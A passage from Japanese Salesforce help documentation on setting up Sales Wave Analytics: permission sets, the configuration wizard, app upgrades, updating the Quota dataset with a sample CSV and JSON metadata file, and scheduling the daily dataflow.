e. 権限セットの詳細ページの最下部までスクロールし、[システム権限] をクリックします。次に、[編集]

をクリックします。
f. 「Wave Analytics テンプレートアプリケーションの使用」、「Sales Cloud Analytics テンプレートおよびアプ

リケーションへのアクセス」、「Wave Analytics テンプレートアプリケーションの管理」、「Wave Analytics

データフローの編集」ユーザ権限を選択します。4 つすべてを選択してください。[保存] をクリックし
ます。ユーザが Sales Wave を作成および管理して、すべてのアプリケーション機能にアクセスできる権
限セットが正常に作成されました。これで、この権限セットをユーザに割り当てることができます。こ
の割り当てについては、「Sales Wave 権限セットのユーザへの割り当て」を参照してください。

2. ユーザがアプリケーションダッシュボードおよびデータセットを表示できる「Sales Waveの表示」権限セッ
トを作成します。
a. [設定] メニューで、[管理] の [ユーザの管理] | [権限セット] をクリックし、[新規] をクリックします。
b. [表示ラベル] 項目にView Sales Waveと入力します。これにより API 参照名も自動的に作成されます。

この参照名は必要に応じて変更できます。API 参照名には、スペースは使用しない、最後にアンダース
コアを使用しない、2 つ続けてアンダースコアを使用しないという制約があります。
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c. 警告: このステップを正確に実行しないと、組織の一部のユーザが Sales Wave にアクセスできなく
なる可能性があります。

[ユーザライセンス] 項目をデフォルト値の --None--のままにします。ユーザライセンスは選択しない
でください。

d. [保存]をクリックします。権限セットの詳細ページに新しい権限セットが表示されます。次に、ユーザ
権限を権限セットに追加します。

e. 権限セットの詳細ページの最下部までスクロールし、[システム権限] をクリックします。次に、[編集]

をクリックします。
f. 「Wave Analytics テンプレートアプリケーションの使用」と「Sales Cloud Analytics テンプレートおよびアプ

リケーションへのアクセス」ユーザ権限のみを選択し、[保存] をクリックします。ユーザが Sales Wave

ダッシュボードおよびデータセットを表示できる権限セットが正常に作成されました。これで、この権
限セットをユーザに割り当てることができます。この割り当てについては、「Sales Wave 権限セットの
ユーザへの割り当て」 (ページ 4318)を参照してください。

Sales Wave 権限セットのユーザへの割り当て

ユーザ権限

ユーザに権限セットを割
り当てる
• 「権限セットの割り当

て」

権限セットを 1 人以上の Sales Waveユーザに割り当てて (1 人ずつまたは一括で)、
アプリケーション機能へのアクセス権を付与します。
1. [設定] メニューで、[管理] の [ユーザの管理] | [権限セット]をクリックします。
2. 警告: 「Sales Wave の管理」権限セットがあるとユーザは Sales Wave を管

理できるようになります。これにより、アプリケーションを作成、編
集、削除できるようになるため、この権限セットは慎重に割り当ててく
ださい。これはアプリケーションを管理するユーザにのみ割り当てま
す。

ユーザに割り当てる権限セットをクリックします。「Sales Wave アプリケーション権限セットの作成」の手
順に従っている場合は、「Sales Wave の管理」または「Sales Wave の表示」権限セットを選択します。

3. [割り当ての管理] をクリックし、[割り当てを追加] をクリックします。
4. Wave にアクセスする必要があるユーザを選択し、[完了] をクリックします。
これらの手順が完了したら、Sales Wave を作成して、組織のユーザと共有します。アプリケーションをユーザ
と共有すると、ユーザは Sales Wave ダッシュボードおよびデータセットの探索のみを実行できるようになりま
す。
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Sales Wave Analytics アプリケーションの作成と共有

ユーザ権限

Wave アプリケーションを
作成および管理する
• 「Wave Analytics テン

プレートアプリケー
ションの管理」

• 「Wave Analytics デー
タフローの編集」

次の手順を実行して Sales Wave アプリケーションを作成し、Salesforce データの価
値をすばやく明らかにすることができます。
組み込みの設定ウィザードを使用すると、Sales Wave アプリケーションをセール
スデータの表示方法に合わせて作成できます。結果に問題がある場合は、アプ
リケーションを削除してすぐに再作成できます。ここで説明する手順について
は、動画 「Create the Sales Wave App, Part 1: Using the Configuration Wizard」(Sales Wave

アプリケーションの作成、第 1 部: 設定ウィザードの使用) でも説明しています。
1. Salesforce にログインします。
2. Salesforce 項目レベルセキュリティ (ページ 627)を設定して、Wave Analytics Cloud

インテグレーションユーザが、アプリケーションで使用するすべての項目を
表示できるようにします。適切な項目レベルセキュリティ権限がないと、インテグレーションユーザがデー
タフローを実行したときにデータフローが失敗する可能性があります。
a. [設定] に移動し、[クイック検索] ボックスにオブジェクトの名前 (「取引先」や「ケース」など) を入力

して Enter キーを押します。
b. オブジェクトの名前をクリックします。
c. 次のウィンドウには、そのオブジェクトのすべての項目が表示されます。項目レベルセキュリティを編

集する必要がある項目に移動します。
d. Analytics Cloud インテグレーションユーザを探し、[参照可能] で必要な項目のチェックボックスをオンに

し、[保存] をクリックします。
e. 使用する項目が含まれるすべてのオブジェクトで、a ～ d の手順を繰り返します。
f. ブラウザキャッシュを更新します。

3. Force.com メニュー (Salesforce ウィンドウの右上) から [Wave Analytics] を選択します。
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4. [作成] をクリックし、[アプリケーション]、[Wave for Sales] の順に選択し、[次へ] をクリックして設定ウィ
ザードを開きます。このウィザードには、Salesforce データに関する質問と回答の選択肢が含まれる一連の
ページが表示されます。Sales Waveによって、組織のデータのチェックに基づいてウィザードの質問がパー
ソナライズされます。また、質問に対するデフォルトの回答が事前に選択され、いくつかの質問への回答
が推奨されます。

5. 会社でデータをどう表示するかに従ってウィザードの質問に回答します。ウィザードを使用する手順の詳
細は、「設定ウィザードを使用した Sales Wave のカスタマイズ」を参照してください。

6. 最後のウィザードの質問に移動します。このページには、選択した回答が組織のデータでサポートされて
いるかどうかをWaveでチェックするオプションがあります。組織に適切なデータが含まれていないとアプ
リケーションの作成に失敗するため、「はい」と回答してチェックを実行することをお勧めします。必要
なデータが見つからない場合、何をすべきかを示すエラーメッセージがWaveに表示されます。Salesforce で
必要な変更を加え、ブラウザキャッシュを更新してから、ウィザードに戻ってアプリケーションの作成を
完了します。

7. 会社の他のユーザにわかりやすい名前をアプリケーションに付けます。
8. [作成]をクリックします。アプリケーションとそのアセット (データフロー定義ファイル、データセット、

ダッシュボードなど) を作成するデータフローが起動されます。
9. アプリケーション作成プロセスには数分かかる場合があります。データフローの状況を確認できます。確

認する場合は、Wave ホームページを開き、ページの右上にあるギアメニューをクリックして、[データ監視]

を選択します。次に、左上にあるプルダウンで [データフロービュー] を選択し、目的のアプリケーション
を探します。

10. ダッシュボードを確認した後で回答を変更する場合は、アプリケーションホームページの左側にある [アプ
リケーションをリセット] リンクをクリックします。このリセット機能は、アプリケーションを最新バー
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ジョンにアップグレードした後にのみ使用できます。「Sales Wave アプリケーションのアップグレード」
(ページ 4326)を参照してください。

[アプリケーションをリセット] をクリックすると設定ウィザードが開き、アプリケーション作成時に選択
した回答が表示されます。新しい回答を選択し、ウィザードの最後のページで [リセット] をクリックしま
す。新しい設定を使用してアプリケーションが再度作成されます。ダッシュボードを削除し、それを復元
する場合にもリセット機能を使用できます。

重要: アプリケーションをリセットすると、ダッシュボードのカスタマイズが削除されます。このカ
スタマイズには、データフローに追加した項目やオブジェクト、有効にしたアクション、セキュリ
ティ設定やダッシュボードの色と表示ラベルに加えた変更などがあります。カスタマイズを行った
ら、データフロー定義ファイルやダッシュボードのコピーを保存します。こうすることで、リセット
を実行した場合にアプリケーションへコピーできます。
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11. アプリケーションを削除して、最初からアプリケーション作成プロセスをやり直すこともできます。削除
するには、アプリケーションのアイコンの上にカーソルを置いて、[削除] をクリックします。次に、[はい]

をクリックして、アプリケーションに関連付けられたアセットをすべて削除することを確認します。

メモ: アプリケーションを削除すると、そのバージョンのアプリケーションを作成したときに選択し
た回答は保持されず、設定ウィザードプロセスをすべてやり直す必要があります。選択した回答を再
利用するには、アプリケーションの再作成が完了するまでアプリケーションをそのままにし、完了後
に削除します。

12. アプリケーションを作成したら、次は組織のユーザと共有します。アプリケーションを共有できるのは、
「Wave Analytics テンプレートアプリケーションの使用」および「Sales Cloud Analytics テンプレートおよびアプ
リケーションへのアクセス」権限を持つユーザのみです (Sales Wave アプリケーションの権限についての詳
細は、「Sales Wave Analytics アプリケーションの Salesforce 権限の設定」を参照してください)。アプリケーショ
ンを共有するには、アプリケーションのアイコンの上にカーソルを置いて、[共有] をクリックします。次
に、チームメンバーの名前を入力して [追加] をクリックし、[保存] をクリックします。

ビジネスでユーザレベルの目標を追跡する場合は、データの探索を開始する前にアプリケーションと共に作成
された Quota (Target) データセットを更新します。「Sales Wave の Quota (Target) データセットの更新」を参照して
ください。
初めてアプリケーションを作成すると、Sales Wave ダッシュボードに階層内のロール名に関連付けられた番号
が表示されます。そのロールの担当者の名前を表示するには、対応するデータセットの拡張メタデータ (XMD)

ファイルを編集することによって、ロール値を更新できます。詳細は、「Sales Wave と Salesforce の統合」を参
照してください。

関連トピック:

設定ウィザードを使用した Sales Wave のカスタマイズ
Sales Wave アプリケーションのアップグレード

設定ウィザードを使用した Sales Wave のカスタマイズ

ユーザ権限

Wave アプリケーションを
作成および管理する
• 「Wave Analytics テン

プレートアプリケー
ションの管理」

• 「Wave Analytics デー
タフローの編集」

Sales Wave 設定ウィザードを使用すると、Sales Wave アプリケーションを Salesforce

データの表示方法に合わせて作成できます。
Sales Wave アプリケーションを作成するときに、組み込みの設定ウィザードによっ
て組織のデータがチェックされ、そのデータに基づいて一連の質問とデフォル
トの推奨される回答が作成されます。データによっては、ここに示されるすべ
ての質問は表示されない場合があり、一部の質問には異なるデフォルトの回答
が含まれる場合があります。各自の回答に応じて、Sales Wave のダッシュボード
にセールスデータがどのように表示されるかが決まります。組織での Sales Cloud

データの利用方法に基づいて、ダッシュボードができるだけ有意義かつ有用と
なるように、これらの質問に回答してください。
これは、組織で Salesforce 取引先および商談オブジェクトをどのように使用するのかに関する 2 ページの基本的
な質問で始まります。商談に関するいずれかの質問で、商品オブジェクトを使用するかどうかが尋ねられま
す。「はい」と回答すると、商品オブジェクトをどのように使用するのかに関する質問のページが表示されま
す。次の数ページは、Sales Wave を追加データで拡張するのに役立ちます。最後のページでは、選択した回答
が組織のデータでサポートされているかどうかを Sales Wave でチェックすることを選択できます。
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ウィザードには適切な回答を選択するのに役立つ説明があり、多くの質問は一目でわかるようになっていま
す。次に、ウィザードの使用方法に関するヒントを示します。このヒントでは、複雑な質問に回答する方法も
詳しく説明されています。

一般的なガイドライン
良い結果を得られるように、ウィザードを使用するときは次のガイドラインに従ってください。
• 大部分の質問では、Salesforce オブジェクトの項目が表示される選択リストで回答が提供されます。このリ

ストには、オブジェクトに設定した標準の Salesforce 項目とカスタム項目が含まれます。表示される項目か
ら選択してこれらの質問に回答します。このタイプの質問の多くは 1 つの項目のみを選択できますが、一
部の質問では複数の項目を選択できます。

• オブジェクトの項目は 1 回のみ選択できます。選択した項目は他の質問の回答では使用できなくなります。
• 他には、「はい」/「いいえ」で回答する質問、一連のオプションがある質問、またはテキストの入力が求

められる質問もあります。
• アスタリスク (*) の付いた質問は必ず回答する必要があります。
• デフォルトの回答を使用すると、一連の便利なダッシュボードが作成されます。選択する内容が不明な場

合は、事前に選択された回答を使用してください。一部の質問は事前に回答が選択されていません。その
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ような場合は、Sales Waveによって選択が求められます。結果に問題がある場合は、アプリケーションを削
除して再作成できます。

• ウィザード設定で制御するのはアプリケーションの一部のみです (ダッシュボードで使用される検索条件な
ど)。アプリケーションは、ユーザがほとんど作業することなく、すぐに Analytics の価値を享受できるよう
に構築されています。

• 質問のコンテキストに適合するのは、一部の回答のみです。回答の選択リストには多くの項目が含まれて
いますが、アプリケーションに適合するのは一部の項目のみです。たとえば、取引先オブジェクトには [写
真の URL] 項目が含まれていますが、[写真の URL] で取引先データを絞り込むことはほとんどありません。

ページ 1: Sales Wave で取引先データを表示する方法の設定
このページの質問では、Sales Wave で顧客データ、新規ビジネスのソース、および地理的データをどのように
絞り込むのかを決定できます。すべて必須です。
• 質問 3: 取引先が新規ビジネスの場合、追跡に使用する取引先の項目について尋ねられます。これは、Sales

Waveで新規ビジネスデータを絞り込むための 1 つの方法です。2 つ目の方法は、ページ 2 で選択する商談オ
ブジェクトの項目に基づきます。

• 質問 4: 地理的データを表示する方法を尋ねられます。棒グラフ、標準の世界地図または国の地図のいずれ
かを選択できます。

• 質問 5: Sales Wave で地理的データのプライマリ検索条件として使用する取引先の項目について尋ねられま
す。質問 4 で世界地図を選択した場合は、国情報が含まれる項目を選択してください。国の地図を選択し
た場合は、州情報が含まれる項目を選択してください。

ページ 2: Sales Wave で商談データを表示する方法の設定
このページの質問では、Sales Wave で商談に関するデータをどのように絞り込むのかを決定できます。組織で
商談オブジェクトをどのように使用するかについても尋ねられます。すべて必須です。
• 質問 2: Sales Wave で新規ビジネスデータを絞り込む 2 つ目の方法を選択できます。最初の方法はページ 1 の

質問 3 で決定します。
• 質問 5: 商談レベルで商品を追跡するかどうかが尋ねられます。商談レベルで商品を追跡する場合、「はい」

と回答します。これにより、Sales Waveウィザードには、商品オブジェクトをどのように使用するのかにつ
いて尋ねる別のページが表示されます。

ページ 3: Sales Wave で商品データを表示する方法の設定
このページは、商品を追跡するかどうかを尋ねる前のページの質問に「はい」と回答した場合にのみ表示され
ます。「いいえ」と回答した場合はページ 4 に移動し、このページは表示されません。このページの質問で
は、Sales Wave で商品に関するデータをどのように絞り込むのかを決定できます。

ページ 4: データセットとダッシュボードの機能強化
このページでは、その他の重要な要素 (Sales Waveでデータを使用および表示する方法) について尋ねられます。
これには、会計年度開始日、セキュリティ設定、取引先および商談チーム、レコードタイプに関する質問が含
まれます。すべて必須です。
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• 質問 2: 多くの組織は、営業チームの目標に関するデータを Salesforce 外部のツールで保持しています。Sales

Waveダッシュボードに表示されるようにそのデータをインポートする場合は、「はい」を選択します。次
に、目標データが含まれる、以前に作成した CSV ファイルをインポートする必要があります。「Sales Wave

の Quota (Target) データセットの更新」を参照してください。
• 質問 3: Sales Wave ユーザのデータへのアクセスを制御できます。次のオプションを選択できます。

– オプション 1: Salesforce ロール階層 (ページ648)が適用されます。これは、ユーザが自分や部下が所有して
いる商談および取引先のデータのみを表示できることを意味します。

– オプション 2: チームのベンチマークが有効になります。オプション 2 と同様にユーザは自分や部下が所
有している商談および取引先のデータを表示できます。また、ユーザはロール階層の同じレベルの他の
ユーザが所有している商談および取引先のデータも表示できます。

– オプション 3: ロールに関係なくすべてのユーザがすべての Sales Cloud データを表示できます。
• 質問 4: Sales Waveで取引先チーム (ページ1416)情報が処理される方法を制御できます。次のオプションがあり

ます。
– オプション 1: 取引先チームデータをデータセットに追加できます。
– オプション 2: 取引先チームデータをデータセットに追加できるだけでなく、取引先チームメンバーに各

自のレコードだけでなくすべてのメンバーのレコードを表示することもできます。
– オプション 3: 取引先チームデータをデータセットから除外できます。

• 質問 5: Sales Waveで商談チーム (ページ2162)情報が処理される方法を制御できます。次のオプションがありま
す。
– オプション 1: 商談チームデータをデータセットに追加できます。
– オプション 2: 商談チームデータを追加できるだけでなく、商談チームメンバーに各自のレコードだけで

なくすべてのメンバーのレコードを表示することもできます。
– オプション 3: 商談チームデータをデータセットから除外できます。

• 質問 6 と 7 では、商談オブジェクトのレコードタイプを Sales Wave に追加することを選択し、どのレコード
タイプを含めるかを指定できます。
– 質問 6: 商談レコードタイプ検索条件をダッシュボードに追加するには、「はい」と回答します。「は

い」と回答した場合は、質問 7 にも回答します。
– 質問 7: 質問 6 に「はい」と回答した場合、含める商談レコードタイプを選択します。すべてのレコード

タイプを含めるには、回答を空白のままにします。1 つ以上のレコードタイプを選択した場合、Sales Wave

にはそのレコードタイプのみが含まれ、選択しなかったすべてのレコードタイプは除外されます。

ページ 5: 追加の取引先および商談データのインポート
このページの質問では、取引先項目から商談項目にデータセットを追加できます。データのインポート後、
ユーザインターフェースで最初の変更を行うか、ダッシュボード JSON を変更すると、ダッシュボードでデー
タを表示できるようになります。質問では、基準 (数値) とディメンション (テキスト) が含まれる項目について
個別に尋ねられます。すべての質問は省略可能です。

ページ 6: オブジェクトの追加
Sales Wave で分析する追加の Salesforce オブジェクトを選択します。
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ページ 7 とページ 8: ページ 6 で選択したオブジェクトの項目の追加
ページ 6 の質問の回答に基づいて Sales Wave で作成されるデータセットに項目を追加します。ページ 6 で選択
したオブジェクトから基準 (数値項目) とディメンション (テキスト項目) を選択できます。

ページ 9: 組織のデータのチェック
最後のウィザードの質問に移動します。このページには、選択した回答が組織のデータでサポートされている
かどうかを Wave でチェックするオプションがあります。組織に適切なデータが含まれていないとアプリケー
ションの作成に失敗するため、「はい」と回答してチェックを実行することをお勧めします。必要なデータが
見つからない場合、何をすべきかを示すエラーメッセージが Wave に表示されます。Salesforce で必要な変更を
加え、ブラウザキャッシュを更新してから、ウィザードに戻ってアプリケーションの作成を完了します。

関連トピック:

Sales Wave Analytics アプリケーションの作成と共有

Sales Wave アプリケーションのアップグレード

ユーザ権限

Wave アプリケーションを
作成および管理する
• 「Wave Analytics テン

プレートアプリケー
ションの管理」

• 「Wave Analytics デー
タフローの編集」

新しいバージョンがリリースされるたびにアプリケーションをアップグレード
して、最新の Sales Wave 機能を活用します。
アプリケーションホームページの上部にあるバナーに、新しいバージョンのリ
リースが通知されます。リリースの詳細情報へのリンクも表示されます。アプ
リケーション名のすぐ下、ホームページの左側の列に、アップグレードプロセ
スを開始するためのリンクもあります。
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アプリケーションをアップグレードする手順は、次のとおりです。
1. バナーの [新機能] リンクか、アプリケーションホームページの左側の列の [新しいバージョンをご利用いた

だけます] をクリックします。
2. 開いたページの一番上に新しいバージョンに関する情報があります。ページ下部には、[現在のアプリケー

ションをアップグレード] と [新規アプリケーションを作成] という 2 つのボタンがあります。
3. ボタンの上にマウスポインタを置くと、その機能についての説明が表示されます。[現在のアプリケーショ

ンをアップグレード]をクリックすると、現在のアプリケーションとすべてのアセットが上書きされ、新し
いバージョンに基づくアプリケーションに置き換えられます。また、データフローに加えた新しい項目や
オブジェクト、セキュリティ設定やダッシュボードの表示ラベルおよび色に加えた変更などのカスタマイ
ズは削除されます。[新規アプリケーションを作成] をクリックすると、新しいバージョンに基づいて現在
のアプリケーションの 2 つ目のコピーが作成されます。状況に合うオプションを決定し、該当するボタン
をクリックします。

4. 警告: アプリケーションをカスタマイズした場合は、[現在のアプリケーションをアップグレード]では
なく [新規アプリケーションを作成] をクリックし、新しいバージョンに基づいてアプリケーションの
コピーを作成します。これにより現在のバージョンとカスタマイズが保存され、カスタマイズした内
容を新しいバージョンのアプリケーションに手動でコピーできます。

[現在のアプリケーションをアップグレード] をクリックすると、アップグレードオプションは現在のアプ
リケーションを上書きし、追加したカスタマイズは削除されるという警告画面が表示されます。問題ない
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場合はチェックボックスをオンにし、[次へ]をクリックします。問題がある場合は、[戻る]をクリックして
前の画面に戻ります。[次へ] をクリックすると、設定ウィザードへ進みます。ステップ 6 へスキップしま
す。

5. [新規アプリケーションを作成] をクリックすると、設定ウィザードへ進みます。現在のアプリケーション
を上書きせず、追加したカスタマイズも保存されるため、警告は表示されません。

6. 設定ウィザードは、最後にウィザードを使用したときに選択した設定を読み込んで表示されます。これら
の設定を保持するか、変更できます。ウィザードの各ページを確認します。

7. ウィザードが完了すると、Wave の画面にアップグレードの影響を受けるアセットが表示されます。その画
面で、アップグレードによって変更、削除、追加されるデータセット、ダッシュボード、レンズの数を確
認します。また、アセットがどのように変更されるか (変更されたのはデータか、外観か) も表示されます。
同じ画面で、アプリケーションに行われた変更のコードが含まれるファイルをダウンロードすることもで
きます。アプリケーションをカスタマイズしている場合、ファイルをダウンロードして保存し、カスタマ
イズコードをコピーして、アップグレードされたバージョンに貼り付けることができます。

8. アップグレードオプションの場合のみ: アプリケーションをアップグレードする場合は、[現在のアプリケー
ションをアップグレード]をクリックします。これにより、行ったカスタマイズは上書きされます。また、
[戻る]をクリックし、設定ウィザードに戻って選択を変更することも、右上隅の [X]をクリックしてキャン
セルすることもできます。

9. 作成オプションの場合のみ: 新しいアプリケーションを作成する場合、現在のバージョンとは異なるアプリ
ケーション名を入力し、[新規アプリケーションを作成] をクリックします。このオプションでは、現在の
アプリケーションとそのすべてのカスタマイズが保存されます。また、[戻る]をクリックし、設定ウィザー
ドに戻って選択を変更することも、右上隅の [X] をクリックしてキャンセルすることもできます。

アプリケーション名の下のリンクに [アプリケーションをリセット] と表示されていれば、最新バージョンのア
プリケーションが使用されており、アップグレードの必要はありません。
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Sales Wave の Quota (Target) データセットの更新

ユーザ権限

Wave アプリケーションを
作成および管理する
• 「Wave Analytics テン

プレートアプリケー
ションの管理」

• 「Wave Analytics デー
タフローの編集」

ビジネスでユーザレベルの目標を追跡するかどうか、という設定ウィザードの
質問に対する回答が「はい」であれば、アプリケーションにチームの目標デー
タが含まれるようにSales Waveの Quota データセットを更新する必要があります。
Sales Wave アプリケーションを作成すると、Quota (Target) データセットが一緒に作
成されます。Sales Wave でチームメンバーの月次、四半期、または年間の目標に
対する追跡状況を調べるには、次の手順を実行して Quota データセットを更新す
る必要があります。また、ここに記載されている手順が説明されている動画
「Create the Sales Wave App, Part 2: Upload the Quota CSV File and Schedule a Dataflow」(Sales

Wave アプリケーションの作成、第 2 部: 目標の CSV ファイルのアップロードとデー
タフローのスケジュール) を閲覧することもできます。

メモ:  .CSV ファイルを Sales Wave にインポートして使用する場合は、必ず UTF-8 に準拠しているテキストエ
ディタを使用してファイルを作成したり開いたりしてください。これらのファイルを Microsoft Excel などの
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スプレッドシートソフトウェアで開くと、.CSV ファイルに書式が再設定され、Sales Wave で使用できなく
なります。

メモ: ビジネスでユーザレベルの目標を追跡しない場合は、このステップを省略できます。これは、ビジ
ネスでユーザレベルの目標を追跡するかどうか、という設定ウィザードの質問に対する回答が「はい」
であれば、実行する必要があります。

1. 目標金額、開始日 (yyyy-mm-dd 形式)、所有者氏名、ユーザ名の各項目をこの順番で含む .CSV ファイルを作
成します。項目名では大文字と小文字が区別され、ここに表示されるとおりにファイルに表示される必要
があります。「Sales Wave の .CSV ファイルの例」の例を参照してください。

2. 覚えやすい場所にファイルを保存します。
3. Salesforce で、Wave Analytics ホームページに移動し、Quota (Target) データセットを見つけます。
4. データセットにマウスポインタを置き、[編集] をクリックします。
5. Salesforce に Quota データセットのデータセット編集画面が表示されます。[データを更新] セクションから、

[ファイルを選択するか、ここにファイルをドラッグしてくださ

い...]

を選択します。
6. 開いたダイアログボックスで、ステップ 1 で作成した .CSV ファイルに移動し、ファイルをダブルクリック

します。
7. [データセットを更新] をクリックします。
8. 会計期間がカレンダー期間と異なる場合 (開始日が 1 月 1 日以外の場合)、Quota メタデータファイルも更新

する必要があります。
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a. Sales Wave の Quota データセットの JSON ファイルから JSON をコピーして、任意のテキストエディタに貼
り付けます。

b. "fiscalMonthOffset" の値を 4 から、各自の会計期間の開始月を表す数値に変更します。Sales Wave

メタデータでは、数値の「0」は 1 月、「1」は 2 月を表します (12 月を表す「11」まで以下同様)。
c. ファイルをデスクトップに保存し、データセット編集画面の [メタデータファイル (JSON) を追加] セク

ションの [ファイルを選択するか、ここにファイルをドラッグしてください...]にドラッグして Sales Wave

にアップロードします。
d. [データセットを更新] をクリックします。

9. 目標データをアップロードしたら、データフローを再実行してダッシュボードを更新します。
a. Sales Wave 画面の右上にあるギアメニューをクリックし、[データ監視] を選択します。

b. [データ監視] 画面の左上にあるメニューから [データフロービュー] を選択します。
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c. アプリケーションを見つけます。ページをスクロールダウンすることが必要になる場合もあります。ア
プリケーションのアイコンと名前の横にある画面右端のメニューを開き、[開始] をクリックします。

完成です。このデータフローにより、Sales Wave に自社の最新のセールスデータが表示されるようにな
ります。データフローの詳細は、「Sales Wave アプリケーションの日次データフローのスケジュール」
を参照してください。

Sales Wave の .CSV ファイルの例
以下は、Sales Wave アプリケーションの Quota (Target) データセットを更新するために作成された .CSV ファイ
ルの例です。
Sales Wave の Quota データセットの JSON ファイル
会計年度の開始日が 1 月 1 日でない場合、このファイルを使用して、各自の会計年度の開始日で Sales Wave

の Quota データセットを更新します。

Sales Wave の .CSV ファイルの例
以下は、Sales Wave アプリケーションの Quota (Target) データセットを更新するために作成された .CSV ファイルの
例です。

メモ: このファイルは、例示のみを目的としています。チームメンバーの目標データを使用して、次の項
目を含む独自の .CSV ファイルを作成してください。
• 目標金額
• 開始日
• 所有者氏名
• ユーザ名
ファイルの作成にはUTF-8 に準拠しているテキストエディタを使用し、Microsoft Excel などのスプレッドシー
トアプリケーションでファイルを開かないでください。項目名では大文字と小文字が区別され、ここに
表示されるとおりにファイルに表示される必要があります。
「Sales Wave の Quota (Target) データセットの更新」 (ページ 4399)を参照してください。
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例:

QuotaAmount,StartDate,OwnerName,Username
5000000,2014-01-01,Priya Anand,user9.kthjbnrxifyo@yourDomain.com
5000000,2014-02-01,Priya Anand,user9.kthjbnrxifyo@yourDomain.com
5000000,2014-03-01,Priya Anand,user9.kthjbnrxifyo@yourDomain.com
5000000,2014-04-01,Priya Anand,user9.kthjbnrxifyo@yourDomain.com
5000000,2014-05-01,Priya Anand,user9.kthjbnrxifyo@yourDomain.com
5000000,2014-06-01,Priya Anand,user9.kthjbnrxifyo@yourDomain.com
5000000,2014-07-01,Priya Anand,user9.kthjbnrxifyo@yourDomain.com
5000000,2014-08-01,Priya Anand,user9.kthjbnrxifyo@yourDomain.com
5000000,2014-09-01,Priya Anand,user9.kthjbnrxifyo@yourDomain.com
5000000,2014-10-01,Priya Anand,user9.kthjbnrxifyo@yourDomain.com
5000000,2014-11-01,Priya Anand,user9.kthjbnrxifyo@yourDomain.com
5000000,2014-12-01,Priya Anand,user9.kthjbnrxifyo@yourDomain.com
5000000,2014-01-01,Nathan Sinha,user18.esm4nmdicvgc@yourDomain.com
5000000,2014-02-01,Nathan Sinha,user18.esm4nmdicvgc@yourDomain.com
5000000,2014-03-01,Nathan Sinha,user18.esm4nmdicvgc@yourDomain.com
5000000,2014-04-01,Nathan Sinha,user18.esm4nmdicvgc@yourDomain.com
5000000,2014-05-01,Nathan Sinha,user18.esm4nmdicvgc@yourDomain.com
5000000,2014-06-01,Nathan Sinha,user18.esm4nmdicvgc@yourDomain.com
5000000,2014-07-01,Nathan Sinha,user18.esm4nmdicvgc@yourDomain.com
5000000,2014-08-01,Nathan Sinha,user18.esm4nmdicvgc@yourDomain.com
5000000,2014-09-01,Nathan Sinha,user18.esm4nmdicvgc@yourDomain.com
5000000,2014-10-01,Nathan Sinha,user18.esm4nmdicvgc@yourDomain.com
5000000,2014-11-01,Nathan Sinha,user18.esm4nmdicvgc@yourDomain.com
5000000,2014-12-01,Nathan Sinha,user18.esm4nmdicvgc@yourDomain.com

Sales Wave の Quota データセットの JSON ファイル
会計年度の開始日が 1 月 1 日でない場合、このファイルを使用して、各自の会計年度の開始日で Sales Wave の
Quota データセットを更新します。
このファイルのコンテンツを任意のエディタにコピーし、“fiscalMonthOffset”の値 (太字で表示) を各自の
会計期間の開始月に変更します。Sales Wave メタデータでは、数値の「0」は 1 月、「1」は 2 月を表します (12

月を表す「11」まで以下同様)。下のコードでは、5 月を表す「4」に数値が設定されています。各自の会計期
間の開始月を表す数値を使用します。次に、「Sales Wave の Quota (Target) データセットの更新」の手順に従っ
て、ファイルを保存して Sales Wave にアップロードします。
{

"objects": [
{

"connector": "CSV",
"fullyQualifiedName": "Quota_csv",
"label": "Quota.csv",
"name": "Quota_csv",
"fields": [

{
"fullyQualifiedName": "QuotaAmount",
"name": "QuotaAmount",
"type": "Numeric",
"label": "QuotaAmount",
"precision": 18,
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"defaultValue": "0",
"scale": 0

},
{

"fullyQualifiedName": "StartDate",
"name": "StartDate",
"type": "Date",
"label": "StartDate",
"format": "yyyy-MM-dd",

"fiscalMonthOffset": 4,
"isYearEndFiscalYear": true

},
{

"fullyQualifiedName": "OwnerName",
"name": "OwnerName",
"type": "Text",
"label": "OwnerName"

},
{

"fullyQualifiedName": "Username",
"name": "Username",
"type": "Text",
"label": "Username"

}
]

}
]

}

Sales Wave の日次データフローのスケジュール

ユーザ権限

Wave アプリケーションを
作成および管理する
• 「Wave Analytics テン

プレートアプリケー
ションの管理」

• 「Wave Analytics デー
タフローの編集」

Sales Wave で探索を開始する前に、日次データフローを通常の営業時間外にスケ
ジュールします。
Sales Wave を作成する場合、その作成プロセスには、最新の Sales Cloud データを
Wave にインポートするデータフローが含まれます。アプリケーションで最新の
Salesforce データを使用するために、データフローを毎日再実行するようにスケ
ジュールできます。データフローによってアプリケーションの使用が妨げられ
ないように、通常の営業時間外にデータフローが実行されるようにスケジュー
ルします。

メモ: Sales Wave データフローは、アプリケーションを作成するときに 1 回
のみ実行されます。アプリケーションで最新のセールスデータが使用され
るように、このデータフローの日次スケジュールを設定してください。

また、ここに記載されている手順が説明されている動画 「Create the Sales Wave App, Part 2: Upload the Quota CSV

File and Schedule a Dataflow」 (Sales Wave アプリケーションの作成、第 2 部: 目標の CSV ファイルのアップロードと
データフローのスケジュール) を閲覧することもできます。
1. Salesforce ウィンドウの右上にある Force.com メニューで Wave Analytics に移動します (まだ移動していない場

合)。画面の右上にあるギアアイコンをクリックし、[データ監視] を開きます。
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2. [データ監視] 画面の左上にあるメニューから [データフロービュー] を選択します。

3. 作成したアプリケーションを見つけます。ページをスクロールダウンすることが必要になる場合もありま
す。アプリケーションのアイコンと名前の横にある画面右端のメニューを開きます。[スケジュール] を選
択し、データフローの時刻を設定します。データフローによって業務が妨げられないように、通常の勤務
時間外を選択します。[保存] をクリックします。
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Sales Wave と Salesforce の統合

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience。

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

「Wave Analytics テンプレートアプリケー
ションの使用」

Wave テンプレートアプリケーションを
使用する

「Sales Cloud Analytics テンプレートおよ
びアプリケーションへのアクセス」

Sales Wave を使用する

「Wave Analytics テンプレートアプリケー
ションの管理」

Wave アプリケーションを作成および管
理する

「Wave Analytics データフローの編集」

「Wave Analytics データフローの編集」データセットの拡張メタデータ (XMD)
ファイルを編集する

必要に応じて各種インテグレーションおよびカスタマイズを実行することで、Sales Wave をさらに使いやすく
します。
データセットのロール名を上書きして、Salesforce の [取引先] ページに Sales Wave - Account Overview ダッシュボー
ドを埋め込み、Sales Waveを Salesforce Classic のタブとして公開すると、チームでアプリケーションを使いやすく
なります。

